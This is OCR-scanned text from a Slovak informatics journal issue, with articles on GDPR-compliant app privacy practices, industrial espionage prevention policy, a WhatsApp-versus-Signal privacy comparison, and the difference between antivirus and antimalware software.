definovanie Casu uchovdvania udajov. Po splneni Ucelu by vlastnik aplikdcie mal
vymazat’ udaje pouzivatelov zo svojho systémut0l,
Sifrovanie udajov - Sifrovanie je jednym z najdélezitejsich vyrazov pouzivanych
v texte GDPR. Bolo to spomenuté Styrikrdt. Rychlo rastuce kybernetické utoky a
kradeze ddt sa stali neoddelitelnou sucastou vsetkych majitefov aplikdcii pri
zavedeni silného Sifrovania. Mézete si vziat' priklad z porusenia prdva ,Ashley
Madison®, ku ktorému doslo v juli 2015. Hackeri odcudzili viac ako 25 GB osobnych
udajov z webovej stranky s cudzolozstvom. Odcudzené Udaje zahriali mend, e-
mailové adresy a adresy pouzivatelov. PriCinou porusenia bolo nezasifrované
Ulozisko ddt, ktoré umoznovalo hackerom sledovat pouzivatelov. Tdto
nedbanlivost’ vyustila do viny vydierania, znic¢ila mnoho Zivotov a rozvrdtila
manzelstvd. Majitelia webovych stranok museli za ndsledné spory zaplatit’ viac ako
11 miliénov doldrov. Ak z legitimnych dévodov, ako je ndkladovd efektivnost’ alebo
pokles vykonu, nemébzete pouzit” Sifrovanie ako sucast’ svojich zdsad ochrany
udajov? V takom pripade by ste mali zhromazdit’ dostatok dékazov na zdlohovanie
svojich tvrdeni alebo pouzit’ alternativne metddy, ako je pseudonymizdcia .20
Pouzivajte protokol HTTPs - Teraz sa stdva povinngm pouzivat na
zabezpecenie certifikdciu SSL. Pomocou protokolov HTTP su chrdnené vsetky
udaje zhromazdené prostrednictvom stranok ,Kontaktujte nds” alebo ,Fakturacnd
stranka®. Ak vlastnik webu alebo aplikdcie zhromazd'uje Udaje o protokole HTTP,
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informdcie sa odoslu ako obycajny text, ktory otvori brany hackeromt™!, Protokoly
HTTPs Sifruju vSetky Udaje odosielané medzi klientom a serverom pomocou
kryptografickych protokolov SSL / TLS. Ked’ pouzivatel pozaduje pripojenie HTTPS
k vasej aplikdcii, odosle mu vas certifikat SSL, ktory obsahuje klu¢ potrebny na
vytvorenie zabezpeceného pripojenial?Z,

Pouzite dvojfaktorové overenie - 2FA alebo dvojfaktorovd autentifikdcia je
jednym z najbezpecnejsich spbdsobov ochrany pouzivatefov pred naruSenim
udajov. 2FA znamend kombindciu faktora drzby (napriklad mobilného &isla),
faktora vedomosti (heslo) a inherentného faktora (odtlacok prsta alebo
rozpozndvanie tvdre). Ked’ pouzivatelia aktivuju 2FA vo svojej aplikdcii alebo
webovej aplikdcii, dostali dva kluc¢e na odomknutie U¢tu. Mdze to byt bud’ kéd na
Cislo mobilného telefénu a heslo na e-mail, alebo to mbéze byt kéd na e-mail a
rozpozndvanie odtlackov prstov / tvdre. K U¢tu nebude pristup, ak pouzivatel nema
ani jednu z tychto informdcii.t?

Implementujte biometrické udaje - Biometricky systém je medzi vlastnikmi
aplikacii  velmi  casty, najmd pokial ide o finan¢né aspekty. Integrdcia
biometrického rozpozndvania do aplikdcie este viac zvysi bezpecnost’ pouzivatela
a jeho udajov zhromazdenych prostrednictvom aplikacie.?!

Nesledujte aktivitu pouzZivatelov - Ak svojmu zdkaznikovi neposkytnete
sukromie, ako mdbzete poZiadat o zabezpecenie ochrany pred tretimi stranami?
Mnoho aplikdcii zhromazd'uje Udaje sledovanim aktivit pouzivatelov na webe a v
aplikécidch a preddva ich inzerentom na marketingové Ucely. Ak ste vlastnikom
aplikacie a sledujete aktivity pouzivatelov na marketingové Ucely, mali by ste ich o
tom informovat’ s UpInym vysvetlenim. Ak tak neurobite, dostanete pokutu v sulade
s podmienkami GDPR. Poskytnite svojim pouzivatelom Uplnd anonymitu a
nesledujte ich stopy.l™

NepouzZivajte bezpecnostné otdzky - Neddvajte pouzivatelom bezpelnostné
otdzky tykajuce sa osobnych informdcii, ako st meno vasho starého otca, mesto,
v ktorom ste sa narodili, vase prvé meno v Skole atd’. Hackeri mdzu vsetky tieto
informdcie fahko sledovat’ z profilov socidlnych médii. NajlepSou moznostou je
vyhnut sa bezpecnostnym otdzkam a vyuzivat' sluzby ako OAuth.[2¢]

Nepouzivajte subory cookies na ukladanie informdcii - Podla GDPR prvd
navsteva webovych strdnok neznamend, ze ndvstevnik automaticky udelil suhlas
so spracovanim osobnych udajov. Aj ked’ zobrazite ,Ak pouzivate tuto webovy
stranku, prijimate cookies®, pripad suhlasu sa nepovazuje za ,slobodne dany®
(odbvodnenie 42). Stale plati granuldarny suhlas. Ak teda chcete sledovat spravanie
navstevnikov a pouzivat’ ich udaje na inzerciu, mali by ste pre kazdu ¢innost’ ziskat’
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povolenie. Budete tiez musiet’ umoznit’ ndvstevnikom lahko odvolat” svoj suhlas.
Pouzivatefom, ktori odmietli suhlas, navyse nemébzete zablokovat' pristup na vas
webBl,

Zmluvné podmienky - Sekcia Zmluvné podmienky véasho webu a aplikdcie by
mala byt poskytnutd v jasnom jazyku, ktorému pouzivatelia fahko porozumeju.
Pouzivatelia by si mali pred pouzitim vasej aplikdcie precitat’ tieto podmienky a
vyjadrit’ s nimi suhlas.t?

Odstrariufte udaje pouzZivatelov - Vlastnik aplikdcie by mal Udaje pouzivatelov
vymazat" za nasledujucich okolnosti. Ak pouzivatel vyuzil svoje prdvo na
zabudnutie a poziadal viastnika aplikécie o vymazanie udajov Ak pouzivatel opustil
aplikaciu alebo sluzby a nechce sa k nim vratit. Po stanovenom Case podla zdsad
uvedenych v zadsaddch ochrany osobnych udajov. Po splneni Ucelu zhromazdenych
udajov je vlastnik aplikacie povinny vymazat udaje pouzivatelov zo svojich
serverov0],

Zdaver

Rychlo narastajuce narusenia bezpecnosti a velké korpordcie zhromazd'ujuce
nadmerné uUdaje o pouzivateloch sa stali vyznamnymi problémami pre
priemernych pouzivatefov a viddy. Na riesenie tychto problémov bolo v EU
sankcionované nariadenie GDPRM. Ak podnikate v EU alebo mimo nej, ale vasi
zd&kaznici su obcanmi Eurdpskej Unie, vasa Ziadost” musi zodpovedat’ podmienkam
nariadenia GDPRUL Aj ked’ nariadenie GDPR pomdha predchadzat naruseniu
bezpecnosti a ddava pouzivatelom vacsiu moc nad ich vlastngmi udajmi, pre
podniky moéze byt ndro¢né dosiahnut, aby boli v stlade s GDPR. Z dlhodobého
hladiska vSak tieto praktiky prinesu spolo¢nostiom zisk, pretoze prildkaju viac
pouzivatelov a ziskaju ich lojalitu udrziavanim ¢estnych a bezpecnych obchodnych
a zakaznickych vztahov.
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STRATEGIA PREVENCIE VOCI PRIEMYSELNEJ
SPIONAZI
INDUSTRIAL ESPIONAGE PREVENTION STRATEGY

Nikoletta Szegfiovad

Abstract

The aim of the article is to list possible ways of protection against industrial
espionage. The work deals with the design of a security policy that defines possible
ways of protection against industrial espionage, the characterization of industrial
espionage using selected examples.

Key words: industrial espionage, security policy

Abstrakt

Ciefom ¢ldnku je uviest mozné spdsoby ochrany voci priemyselnej Spiondzi.
Prdaca sa zaoberd ndvrhom bezpecnostnej politiky, ktord definuje mozné spdsoby
ochrany pred priemyselnou Spiondzou charakterizovanie priemyselnej Spiondze
pomocou vybranych prikladov.

Klucové slovd: priemyselnd Spiondz, bezpecnostnd politika

Uvod

Spiondz je veobecne lud’mi vnimand, ako c&innost vykondvand $pidnmi za
UCelom ziskania tajomstva nepriatefa. V priemyselnej Spiondzi je to podobne, len
zdujem sa kladie na ziskanie obchodného tajomstva.l’® Najvac¢sou hrozbou
informacnej bezpecnosti je samotny Clovek. Tuto skuto¢nost’ si treba uvedomit,
lebo pri zostavovani bezpecnostnych opatreni je kfucovd. Ciefom Clanku je uviest’
mozné spbdsoby ochrany voci priemyselnej Spiondzi.

V ¢ldnku su uvedené spbdsoby ochrany pred priemyselnou Spiondzou. Z hlavnych
bezpecnostnych opatreni, ktoré mdze zabrdnit a znizit mieru Uspechu Utokov s
vyuzitim metdd socidineho inzZinierstva je zavedenie bezpecnostnej politiky.
Bezpecnostnd politika je vhodny ndstroj na elimindciu takychto utokov, preto bude
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spomenutd aj v tomto ¢ldnku. Takisto sa pozrieme na novy zdkon z roku 2018 o
kybernetickej bezpecnosti.

Priemyselnd Spiondz

Priemyselnd $piondz md vyznamny vplyv na hospoddrstvo, pracovné miesta a
rast EU. Kybernetické kradeze obchodného tajomstva stoja Eurdpsku Uniu
odhadom 60 miliard EUR. V tejto suvislosti je potrebné ddékladne posudit, ako
vzdajomnd zdvislost a zvySend expozicia kybernetickgm hrozbdm ovplyviuju
schopnost’ EU chranit obcanov aj podnikyt?.

Kriza spbsobend ochorenim COVID-19 takisto zdbraznila to, ako socidlne rozdiely
a neistota vedu k bezpecnostnej zranitelnosti. Zvacsuje to potencidl
rafinovanejsich a hybridngch Utokov zo strany Statnych a nestatnych subjektov,
ktoré wvyuzivaju zranitelnost pomocou kombindcie kybernetickych utokov,
poSkodzovania kritickej infrastruktury, dezinformacnych kampani a radikalizdcie
politického jazyka™. Podfa statistik Europol, viac ako 2/3 organizdcii v Eurdpe
nemd ani odhad mozného finan¢ného dopadu kybernetického uUtoku na ich
spolo¢nost’, a menej ako stvrtina md vypracovany reakeény pldn pre pripad hrozby
prostrednictvom kybernetického utokut.

Hlavnym rizikom pre firmy je v sucasnosti spoliehanie sa na technoldgie bez
organizacnej Struktury kybernetickej bezpecnosti. Spravne vypracovand stratégia
zabezpecuje ochranu a prevenciu pred stdle sofistikovanejSimi  Utokmi
kybernetickej Spiondzel™ Tie mdzu prebehnut vo forme ziskania déveryhodnych
informdcii, neopravnenym pristupom, ¢i nedostupnostou sluzieb, ¢o v kone¢nom
dbsledku mbze ovplyvnit celkovu prevadzku firmy. Organiza¢nu Strukturu, ktord
takéto dopady pomdha eliminovat od slovenskych firiem pricmo vyzaduje uz od
aprila 2018 novy zdkon ¢. 69/2018 Z. z o kybernetickej bezpecnostil',

Novy zdkon o kybernetickej bezpecnosti pre spoloc¢nosti zavddza povinnost’
vyclenit' dostatocné prostriedky ako materidino-technické, persondlne, tak aqj
¢asoveé, za ucelom zabezpecenia kontinuity sluzieb ¢i vyroby. Do Siestich mesiacov
od zaradenia do registrov Narodného bezpecnostného Uradu su firmy povinné mat’
vypracované bezpecnostné opatrenia zabezpecujuce riadenie kybernetickej
bezpec&nosti s technoldgiami spifiajucimi legislativne poziadavky, ktoré budu vediet
identifikovat’ bezpecnostné hrozby, ako aj incidenty v takmer redlnom ¢ase a tym
predist’ d'alsim kybernetickym utokomt®l,

Moznostou, ako sa chrdnit, je vypracovanie kvalitnej bezpecnostne] politiky
organizdcie ajej ndsledné dodrziavania. Ide napr. o bezpecnost informdcii (zdsady
prevencie utajovania informdcif), o ochranu fyzicku (bezpecnost budov a aredlu
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proti neopravnenému vniknutiu, dodrziavanie pravidiel pre pohyb oséb v presne
definovanych zénach, zabezpelenie proti odpocuvaniu a pod.), ochranu
informacnych systémov (pouzivanim internych spojovacich ciest, spofahlivou
identifikdciou zdroja a prijemcu spravy, Sifrovanie sprdv, digitdlne podpisy,
bezpecnostné kédy a pod) a o ochranu v persondlinej oblasti (motivacia
zamestnancov - maju pocit, Ze sU zamestndvatelom vykoristovani, tuzba po
prevahe nad zamestndvatefom a pod.). Spdsoby zaistenia ochrany utajovanych
informdcii je mozné kategorizovat’ do nasledovnych zloziek™:;

a) persondlna bezpecnost, ktoru predstavuje vyber fyzickych oséb, ktoré maju
mat’ pristup k utajovanym informdcidm, overovanie podmienok ich pristupu
k utajovanym informdcidm, ich vychova a ochrang;

b) priemyslovd bezpecnost, ktoru tvori systém opatreni na zaistenie a overenie
podmienok pre pristup podnikatela k utajovangm informdcidm a na
zaistenie spdsobu zaobchddzania s informdciou;

¢) administrativna bezpecnost, ktoru tvori systém opatreni pri tvorbe, prijme,
evidencii, spracovani, odosielani, preprave, prendsani, ukladani, skartovani,
archivdcii s utajovangmi informdaciami;

d) fyzickd bezpecnost, ktoru tvori systém opatreni, ktoré maju neoprdvnenej
osobe zabranit, alebo stazit’” pristup k utajovangm informdcidm, popripade
tento pokus zaznamenat™®;

e) bezpec¢nost informac¢nych, alebo komunikacnych systémov, ktoru tvori
systém opatreni, ktorych ciefom je zaistit’ doévernost, integritu a dostupnost’
utajovanych informdcii, s ktorgmi tieto systémy nardbaju a zodpovednost’
spravy a pouzivatela za ich ¢innost’ v informacnom, alebo komunika¢nom

systémet™;
f) kryptografickd ochrana, ktoru tvori systém opatreni na ochranu
utajovanych informdcii pouzitim kryptografickych metdd a

kryptografickych materidlov pri spracovani, prenose, alebo ukladani
utajovanych informdacii u podnikatela.

Obrana vodi priemyselnej Spiondzi

Predtym, ako bude mozné vypracovat’ ucinny program proti Spiondzi, musi byt’
vykonané hodnotenie rizik zariadenia a informdcii, ktoré maju byt chranené, aby
bolo mozné identifikovat’ riziko Spiondze vocli chranenym informdcidm organizdcie.
Pri urCovani rizika je potrebné preskumat informdcie, ktoré sa maju chrdnit, ich
hodnotu, definovat, kto by ich chcel mat, urcit’, do akej miery su pristupné, a vplyv
na organizdciu, ak by sa tieto informdcie ziskali nezdkonne prostrednictvom
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priemyselnej Spiondze. Po identifikdcii hrozby a rizika je potrebné urcit, ¢o je
potrebné chrdénit. Dalej uréime zdvaznost hrozby a pravdepodobnost’ vyskytu. To
sa dosiahne vykonanim preskumania s ciefom urcit’ pozadovanu bezpecnost’ na
zabrdnenie alebo znizenie hrozieb. Dalsim krokom je identifikacia opatreni, ktoré
sa maju vykonat' s ciefom znizit’ hrozbul™®l, Je potrebné vykonat’ supis chrdnenych
informdcii prezeranim vsetkych papierovych kopii a pocitacovych informdcii.
Hodnotu informdcii pre organizdciu je potrebné hodnotit’ z finan¢ného aj kritického
hladiska.'®) Na zdklade typu informdcii a poslania organizdcie je potrebné posudit,
kto by tieto informdcie chcel a ako by sa dali vyuzit, ak by sa ziskali
prostrednictvom priemyselnej Spiondzel’). Medzi d’alsie oblasti na preskumanie v
procese hodnotenia rizika patri kontrola toho, ako sU informdcie v sucasnosti
chranenél),

V tomto hodnoteni rizika je tiez potrebné preskumat’ program odbornej pripravy
na zvysovanie povedomia o kontraspiondzi, ktory je v sucasnosti k dispozicii pre
zamestnancov zariadenia, vrdatane informdcii poskytovanych na skoleniach,
rozddavani poskytnutym ucastnikom a dokumentdcie tohto $kolenia v suboroch
persondlu zamestnancov. Po dokonceni hodnotenia rizika sa vysledky pouziju na
vypracovanie planu proti Spiondzi.

Tento pladn musi zahfnat’ vSetky ochranné opatrenia, ktoré sa uplatnia, vratane
vSetkych oblasti uré¢enych v hodnoteni rizika, ako aj opatrenia a postupy fyzickej
bezpecnosti, operacné postupy bezpecnostnych zloziek a bezpecnostné opatrenia
pocitacove]j bezpecnosti. V pldne musia byt zahrnuté aj postupy ludskych postihov
spojené s ndborom, vysetrovanim a ukon&enim konania. Do planu, ako aj do
dokumentdcie o Skoleni zamestnancov musia byt zahrnuté qj typy a metddy
Skolenia o zvySovani povedomia o bezpec¢nosti. Metddy internych auditov na
prevenciu priemyselnej Spiondze a frekvencia takychto auditov by mali byt
uvedené v plane kontrarozviedky. Musia sa urcit qj kritérid na vykondvanie
vySetrovani v rdmci Spiondze. Medzi d'alSie Uvahy patri to, ktoré udalosti povedu k
takémuto vysSetrovaniu, a spolu s uréenim toho, kto bude zodpovedny za vedenie
vysetrovanial®,

Je délezité poskytnut’ vsetkym zamestnancom $Skolenie o zvySovani povedomia
o kontraspiondzi ako proaktivne opatrenie v prevencii Spiondzell. Ak zamestnanci
pochopia hrozbu a spdsoby zberu, budu schopni rozpoznat” moznu Spiondz alebo
pokusy o ziskanie informdacii od nich. Zamestnanci musia byt tiez pouceni o tom,
ako a komu ozndmia takuto hrozbut™l,
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Zdaver

Informacnd bezpecnost” podniku a spdsoby ochrany pred externgm prostredim
je téma, ktord ostdva stdale aktudlna aj do d’alsich rokov. Mnoho podnikov, ktoré sa
uz stretli s bezpecnostngmi incidentmi, najmd& s uUnikom informdacii prikladd
informacnej bezpe¢nosti zvysenu pozornost. Castd chyba, ktort podniky robia je,
Ze sa zameriavaju skoér len na technické zabezpecenie svojich informacnych
systémov. Chrdnia sa pred vonkajsim prostredim, ale svoje vnutorné prostredie
informacnych tokov nechdvaju odkryté. Pritom najslabsim clankom informacne;j
bezpecnosti podniku su fudia, technické a programové bezpecnostné opatrenia
mMaju len pomébct pripadne vylucit niektoré z moznosti Utokov. Priemyselnd Spiondz
pomocou metdd socidineho inZinierstva sa zameriava prdve na fudi. Snazi sa ziskat’
citlivé informdcie, obist technické a programové zabezpelenia a to tgm
najrafinovanejs§im spdsobom, tak Ze sa na to priamo spyta kompetentnych fudi.
Tych, ¢o nie su s problematikou doékladne obozndmeni to mdze zaskodit’ a Uniku
informdcii uz ni¢ nezabrdni. Podnik tak nemd Sancu zareagovat a ¢asto sa stdva,
Ze sa o Uniku informdacii ani nedozvie, alebo zostdva zamlcany.

Len sprdavne nastavenie bezpecnostnej politiky a zodpovednd klasifikdcia
informacii méze vyriesit’ informacnu bezpecnost’ podniku, lebo stanovuje presné
bezpecnostné zdasady, ktoré urcuju spdsob nardbania z informdciami a ich tok vo
vnutornom a vonkajsom prostredi podniku.
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WHATSAPP ALEBO SIGNAL ?

WHATSAPP OR SIGNAL ?
Filip Schulz

Abstract

The aim of this article is to clarify the WhatsApp and Signal applications. The basis
of the article is to point out the security of the given applications for the user himself
as well as his basic functions and information.

Key words: WhatsApp, Signal, user

Abstrakt

Ciefom tohoto ¢ldnku je objasnit” aplikacie WhatsApp a Signal. Zakladom
¢ladnku je poukdzat na bezpecnost” danych aplikdcii pre samotného uzivatefa a
taktiez jeho zakladnych funkcii a informdcii.

Klu€ové slovd: WhatsApp, Signal, uzivatel

Uvod

Ked dnes uvazujeme o komunikdcii s niekym, vacsSinou myslime na to, ze mu
poSleme textovu sprdvu alebo hlasovy pozndmku na WhatsApp. Niektori d’alsi
ludia, ktori sa menej obdvaju o svoje online sukromie, myslia na Facebook
Messenger. Nie vsetci tito pouzivatelia vSak vedia, ¢o sa deje so spravami, ktoré si
vymienaju na tychto online platformdach pre odosielanie sprav. Ak sa rozhodujete
medzi tou sprdavnou aplikdciou na zasielanie Sifrovanych sprdv a mate v tom
zmatok ¢i WhatsApp alebo Signal, tak nestracajte ¢as ni¢im ingm a rozhodnite sa
pre Signal. Nejde o to, ktord aplikdcia ma roztomilejsie funkcie, viac zvukov,
pistaliek alebo je o je pohodinejsie pouzivat pretoze sa jednd sa o Vase sukromie.
Ak je to, to ¢o hfaddate, tak nerozmyslajte a rozhodnite sa pre Signal, pretoze nic
neprekond Signal.

Aplikdcie Signal a WhatApp

Neddvno sa vo svete na trhu objavila novd aplikacia Signal®, ktorej pdsobenie
zacalo uz od roku 2014. Signal je aplikdcia, ktord sluzi na odosielanie sprdv
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zamerany na ochranu osobnych udajov a ziskava si reputdciu hlavného
konkurenta spolo¢nosti WhatsApp. Aplikacia zaznamenala od zaciatku roka ndrast
0 4200 % stiahnuti pouzivatefmi po tom, ¢o spolo¢nost’ WhatsApp ozndmila, ze
pouzivatelia budy musiet zacat poskytovat’ niektoré uUdaje svojej materske;j
spolo¢nosti Facebook.

Samozrejme, ze obe aplikdcie, ktoré sluzia na odosielanie sprav maju niektoré &rty
rovnaké. Na rozdiel od beznych sprdv SMS a inych sprdav odosielanych cez
celularnu siet’ pouzivaju programy Signal a WhatsApp Sifrovanie typu end-to-end,
ktoré skryje spravy pre pripad, Zze by niekto prerusil chat alebo ich nasiel na serveri.
Dve superiace aplikdcie umoznuju  pouzivatelom  chatovat  zadarmo
prostrednictvom sieti Wi-Fi alebo mobilngch dat, vd’aka ¢omu su oblubeni pre
medzindrodnu komunikdciu.

WhatsApp md vsetko, ¢o by ste od sluzby socidlnych sprav potrebovali, vrdtane
novej funkcie platieb aplikdcii. Skupinové chaty pracuju az s 256 ¢lenmi a mbzete
vysielat’ viaceré spravy viacerym kontaktom, taktiez podporuje hlasové hovory a
videohovory pre jednotlivcov ale aj pre skupiny™. Ako isto vieme WhatsApp patri
od roku 2014 materskej spolo¢nosti Facebook, kedy ju Facebook odkupil za
neuveritelnych 22 miliard doldrov. Takze Facebook nemdze pristupovat k
rozhovorom z dévodu typu Sifrovania end-to-end ale firma mdze brat” Udaje
pouzivatelov. Facebook md pristup k réznym udajom ako napriklad k telefénnym
¢islam pouzivatetov WhatsApp, IP adresam, mobilnych sieti, dizke pouzivania,
platobnym Udajom, cookies, Udajom o polohe atd'! Niektory pouzivatelia sa
rozhodli zrusit' povolenie pristupu spolocnosti Facebook ale ndasledne WhatsApp
uviedol, Ze ak nebudu suhlasit’ so zdielanim informdcii do 8. februdra tak stratia
pristup k aplikacii WhatsApp. Zatial ¢o samotné sprdvy su Sifrované pomocou end-
to-end, WhatsApp nesifruje zdlohy na zariadeni ani v cloude a neSifruje ani
metaddta (informdcie spojené s charakteristikami kazdej spravy, napriklad ¢as a
umiestnenie)™. To znamend, ze aj ked’ nikto nembze zachytit’ sprdvu medzi dvoma
stranami, informdcie ako napriklad kde a kedy bola sprava odosland sa daju
externe nacitat. WhatsApp tiez podporuje moznost uzamknut vase sprdavy
pomocou odtlackov prstov, ako aj dvojfaktorovu autentizdciut?.,

Teraz sa pozrieme na druht aplikdciu, ktord je novdcikom na trhu. Signal je
podobnd aplikdcii WhatsApp s cieflom komunikovat’ s lud’mi na rovnakej bdaze ako
konkurent. Signal ponuka zabezpecené sprdvy, hlasové hovory a videohovory s
komplexngm Sifrovanim. M6zete vytvarat’ skupiny, ale nemdbzete vysielat’ spravy
viacerym kontaktom naraz. Signal hovori, ze neziskava spravy od pouzivatelov,
skupiny, kontakty ani informdcie z profilu. Signal je vlastne open source, ¢o
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znamendq, ze jeho kod je pre kazdého volne dostupny na kontrolu, ¢i ndhodou
neobsahuje ,zadné dvierka™ alebo iné prekvapenia. Taktiez Signal vyuziva
Sifrovanie textu metddu ,perfect forward secrecy” ¢o znamend, Zze ak by sa qj
utocnikovi podarilo ziskat kfu¢, nepodari sa mu qj tak precitat’ celd konverzdciu.
Sifrovaci algoritmus signdlu nie je proprietérny alebo dokonca jedine¢ny. Sifrovaci
softvér pouzivany spolocnost'ou Signal je otvoreny (a pouzivany ingmi aplikaciami
na zasielanie spradv, vratane WhatsApp) a je k dispozicii na stiahnutie na GitHub!.,
To vlastne umoznuje, aby bol Signal bezpecnejsi, pretoze softvér s otvorengm
zdrojovgym kdédom  podlieha verejnej kontrole zo strany vyvojdrov a
bezpecnostnych expertov.?) Odhaluje chyby a zranitelnosti skér, ako keby bol
softvér zatvoreny a chrdneny. Ak by sa hacker snazil zistit Udaje o danych
sprdavach a ich metaddtach tak by bol neuspesny. Signal tiez Sifruje metaudaje, ¢o
zatial WhatsApp nedokdzal. Signal tiez umoznuje prenos uskutochovanych
hovorov z jeho serverov, pricom sluzi ako druh virtudinej sukromnej siete (VPN) pre
hovory a zaistuje vysoku uUroven sukromial. K dispozicii je tiez moznost’
zablokovat prijemcom snimanie snimok obrazovky spravy a tiez poskytuje funkciu,
ktord umoznuje rozmazanie tvari na fotografidch pred ich odoslanim.

Manazérska Informatika

Obrdzok 1 Pocet pouzivatelov Signal. WhatsApp, Telegram

7/ Signal / WhatsApp ~ Telegram
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Zadroj : https,//www.bloomberg.com/opinion/articles,/2021-01-15/should-you-trade-whatsapp-rfor-signal-
facebook-isn-t-worried

Zdaver
V kratkom zhrnuti uvediem zoznam udajov, ktoré dve dané aplikdcie zbieraju o
uzivatelfoch a sami si urobte svoj ndzor.
Spolo¢nost WhatsApp zhromazd'uje tieto udajel®:

- Informdcie o zariadeni

- Informdcie o uzivatelovi
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- Udaje o reklame

- Histdria ndkupu

- Telefénne Cislo

- E-mailovd adresa

- Kontakty

- Vykon a diagnostické udaje

- Interakcia produktu

- Informdcie o platbe

- Zdkaznicka podpora

- Rb6zny d'alsi obsah suvisiaci s pouzivatelmi
Spolo¢nost’ Signal zhromazd'uje tieto udajet®:

- Telefénne cislo

WhatsApp md pevny zdklad s mnozstvom zdkladnych funkcii chatu vykonanych
spravne. Jeho bezpecnost' je Spickovd a pravdepodobne mate takmer vsetky svoje
kontakty uz usadené na platforme. Md tiez zavedenu obchodnu platformu, ktoru
pouziva vela spolo¢nosti ale postoj jej materskej spolo¢nosti k ochrane sukromia
pouzivatelov a zhromazdovaniu udajov je vSak coraz znepokojivejsi.lo!

Signal sa m&ze pochvdlit najvyssou bezpecnostou, ale bohuzial este stale nemd
tolko socidlnych funkcii ako WhatsAppt®l. Vela fudi prechddza na tuto platformu a
to z dévodu Ze patri medzi najlepsie zabezpecenie sukromia z akejkolvek aplikdcif
na odosielanie sprav.
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ANTIVIRUS VS. ANTIMALVER

ANTIVIRUS VS. ANTIMALWARE
Lenka Lendrtovad

Abstract

The aim of this article is to clarify the difference between antivirus and
antimalware applications. The article points out the importance of these
applications for the security of the user himself, as well as his basic functions and
information.

Key words: antivirus, antimalware

Abstrakt

Cielom tohoto ¢lanku je objasnit’ rozdiel medzi aplikdciami typu antivirus a
antimalvér. Clanok poukazuje na vyznam tychto aplikécii pre bezpe¢nost
samotného uzivatela a taktieZ jeho zdkladnych funkcii a informdcii.

KlPucéové slovad: antivirus, antimalvér

Uvod

SAntivirus® a ,antimalvér® znamenaju vacsinou to isté. Oba odkazuju na softvér
urceny na detekciu, ochranu pred a odstranenie Skodlivého softvérul™). Napriek
tomu, o mbze ndzov napovedat, antivirusovy softvér chrdni pred nielen virusmi -
na opisanie toho, €o robi, pouziva iba mierne zastarany ndzov. Softvér proti
malvéru je navrhnuty aj na ochranu pred virusmi. Antimalvér iba pouziva
modernejsi ndzov, ktory zahina vsetky druhy Skodlivého softvéru vratane virusov.
To znamend, Ze anti-malware moéze zastavit’ prebiehajucu formu virusovej infekcie
a odstranit’ infikované subory. Antimalvér véak nemusi byt nevyhnutne vybaveny
na obnovenie suborov, ktoré boli zmenené alebo nahradené virusom. Antivirus qj
anti-malware spadaju pod Sirsi pojem ,kybernetickd bezpe&nost™ !

V diskusidch o kybernetickej bezpecnosti sa hovori o mnohych pojmoch, ako
napriklad antivirus a antimalvér. Aky je rozdiel? Aky je rozdiel medzi virusmi a
tymito tyzdnami? Ak uvazujete o ochrane svojich udajov pred hrozbami, ktoré by
mohli ohrozit’ vase podnikanie, je dblezité poznat definicie tychto pojmov spolu s

34 http://www.manazerskainformatika.sk



|

ISSN 2729-8310, ro¢nik 1, ¢islo 2

Manazérska Informatika

dvoma d’alsimi. Pri kontrole softvéru pre kyberneticku bezpecnost’ ste mohli vidiet’
rézne produkty, ktoré sa nazgvaju antivirus, antimalvér, antispyvér, antiransomveér
atd”. Co je teda vhodné pre vase podnikanie? Uz dévno pred umelou inteligenciovu,
ked’ ste si mohli zvolit' farbu svojho Macu tak, aby zodpovedala vasej miestnosti,
boli pocitacoveé virusy jednoduché. Detekcia hrozieb bola rovnako fahkd ako ndjst’
Jplazivy systém® v rdmci riadku kodutl,

P&vodny virusovy profil je dnes takmer zastarany a do popredia sa dostavaju
nebezpecnejsie formy Skodlivého softvérut®. Aj ked’ je virus v skutocnosti typom
malvéru, nie vsetky typy Skodlivého softvéru su virusy - a niektoré su
nebezpecnejSie ako iné. Aky je rozdiel medzi antivirusovym a antimalvérovgm
softvérom?

Virus vs. Malvér

Pocitacovy virus sa §iri od pouzivatela k uzivatelovi prostrednictvom replikdcie
prostrednictvom programovania suborov. Antivirus pracuje na identifikdcii
zndmych hrozieb prostrednictvom detekcie na zdklade podpisu. Tento typ detekcie
porovndva podpisy suborov s databdzou zndmeho Skodlivého softvéru. Naproti
tomu antimalvér vyuziva heuristicky detekciu na proaktivne vyhlraddvanie
zdrojového kodu, ktory naznacuje hrozbu.

Predstavuje antivirus to isté ¢o antimalvér?

Antivirus aj antimalvér boli vyvinuté na detekciu a ochranu pred Skodlivgm
softvérom. Zatial ¢o pojem antivirus znamend, Zze chrdni iba pred pocitacovymi
virusmi, jeho vlastnosti dnes ¢asto chrdnia pred mnohymi bezngmi formami
skodlivého softvéru. Antimalvér ide o krok d’alej a zameriava sa na SirSie a
pokrocilejsie softvérové hrozby. Aby sme tejto téme porozumeli, budeme hovorit’ o
antivirusovom softvéri, ktorg nebol inovovany na detekciu a ochranu skodlivého
softvéru.

Co vlastne zmanend antivirus?

Zakladny antivirusovy softvér vyhfaddva vo vsetkych zariadeniach zndme virusy.
Bezplatny antivirus zvycajne ponuka iba minimdlnu Uroven ochrany pred
klasickgymi virusmi, pretoze ide o keyloggery a Cervy, zatial ¢o prvé verzie chrdnia
pred pokrocilejsimi hrozbami a dokonca obsahuju aj ndstroje na odstranenie
skodlivého softvérutel,
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Co je to antimalwarovy softvér

Kybernetické hrozby sa neustdle vyvijaju. Zatial ¢o antivirusovy softvér mbze
chrdanit’ pred bezngmi typmi virusov, antimalvér softvér sa pouziva na zistovanie
novych opakovani infekcii. Antimalvérovy softvér sa brdni proti Skodlivému
softvéru druhej generdcie, ktory tradi¢ny antivirusovy softvér nie vzdy zisti.

Co by mal obsahovaft vas antivirusovy softvér?
Medzi klu¢ové ukazovatele komplexného antivirusového softvéru sut:

. Kontrola v redlnom ¢ase: kontrola na pozadi znamend, ze program detekuje
hrozby hned’, ako na ne narazite.

. Automatické aktualizacie: Aktualizdcie sa zameriavaju na véetky nové formy
Skodlivého softvéru od instaldcie.

. Odstrante hrozby: vas softvér by mal odstranit’ malvér, nielen ho zistit’ a
blokovat’.

Co treba hradat v antimalvérovom softvéri

Ci uz ndjdete samostatny softvér proti malvéru alebo si kUpite antivirus s pridangmi

funkciami, hfadajte program s tymto:

. Sandboxing: Toto kontrolované prostredie umoznuje softvéru testovat
podozrenie na hrozby a zistit™, &i je ich pouzitie bezpecné alebo nie.”

. Filtrovanie prenosu: Tento typ filtrovania chrdani vase zariadenie blokovanim
pristupu na podozrivé servery a stranky spojené s distribuciou Skodlivého
softvérut?),

. Proaktivne zabezpecenie: Vas softvér by mal skenovat, zistovat a
